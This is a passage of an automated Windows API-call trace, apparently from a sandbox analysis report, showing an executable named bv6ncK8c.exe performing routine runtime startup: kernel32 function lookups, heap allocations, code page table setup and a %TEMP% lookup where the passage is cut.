lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xea3091a0, dwHighDateTime=0x1d5d06a)) [0118.671] GetCurrentThreadId () returned 0xf84 [0118.671] GetCurrentProcessId () returned 0xf80 [0118.671] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=26062311003) returned 1 [0118.671] GetProcessHeap () returned 0x560000 [0118.672] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0118.674] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0118.675] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3bc) returned 0x5760b0 [0118.675] GetCurrentThreadId () returned 0xf84 [0118.675] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x576478 [0118.675] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x576498 [0118.675] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xfa8a0f2f, hStdError=0x0)) [0118.675] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0118.675] GetFileType (hFile=0x3) returned 0x2 [0118.731] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0118.731] GetFileType (hFile=0x80) returned 0x3 [0118.731] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0118.731] GetFileType (hFile=0xb) returned 0x2 [0118.731] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" [0118.731] GetEnvironmentStringsW () returned 0x576ca0* [0118.731] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xb80) returned 0x577828 [0118.732] FreeEnvironmentStringsW (penv=0x576ca0) returned 1 [0118.732] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0118.732] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x74) returned 0x56f8d0 [0118.732] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xa0) returned 0x576ca0 [0118.732] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3e) returned 0x5783c8 [0118.732] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x6c) returned 0x576d48 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x6e) returned 0x576dc0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x78) returned 0x56f950 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x62) returned 0x576e38 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x576ea8 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x576ee0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x576f30 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x28) returned 0x576f60 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1a) returned 0x575a80 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x4a) returned 0x576f90 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x72) returned 0x56f9d0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x576fe8 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x577020 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1c) returned 0x575aa8 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xd2) returned 0x577058 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x7c) returned 0x577138 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x5771c0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x578410 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x90) returned 0x577200 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x577298 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x5772c8 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x577300 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x577340 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x52) returned 0x577390 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x578458 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x18) returned 0x5773f0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x82) returned 0x577410 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x5774a0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x575ad0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2c) returned 0x5774d8 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x54) returned 0x577510 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x52) returned 0x577570 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x5775d0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x5784a0 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x54) returned 0x577608 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x577668 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x577698 [0118.733] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x8c) returned 0x5776d0 [0118.733] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577828 | out: hHeap=0x560000) returned 1 [0118.734] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x5793b0 [0118.734] GetLastError () returned 0x0 [0118.734] SetLastError (dwErrCode=0x0) [0118.734] GetLastError () returned 0x0 [0118.734] SetLastError (dwErrCode=0x0) [0118.734] GetLastError () returned 0x0 [0118.734] SetLastError (dwErrCode=0x0) [0118.734] GetACP () returned 0x4e4 [0118.734] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x220) returned 0x579bb8 [0118.734] GetLastError () returned 0x0 [0118.734] SetLastError (dwErrCode=0x0) [0118.734] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.735] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0118.735] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0118.735] GetLastError () returned 0x0 [0118.735] SetLastError (dwErrCode=0x0) [0118.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.735] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0118.735] GetLastError () returned 0x0 [0118.735] SetLastError (dwErrCode=0x0) [0118.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0118.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0118.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿\x0e\x8aúäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0118.735] GetLastError () returned 0x0 [0118.735] SetLastError (dwErrCode=0x0) [0118.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0118.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0118.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿\x0e\x8aúäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0118.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x80) returned 0x579de0 [0118.735] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.736] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0118.736] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x579de0) returned 0x80 [0118.736] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0118.736] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0118.736] GetCurrentProcess () returned 0xffffffff [0118.736] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0118.736] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0118.736] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: 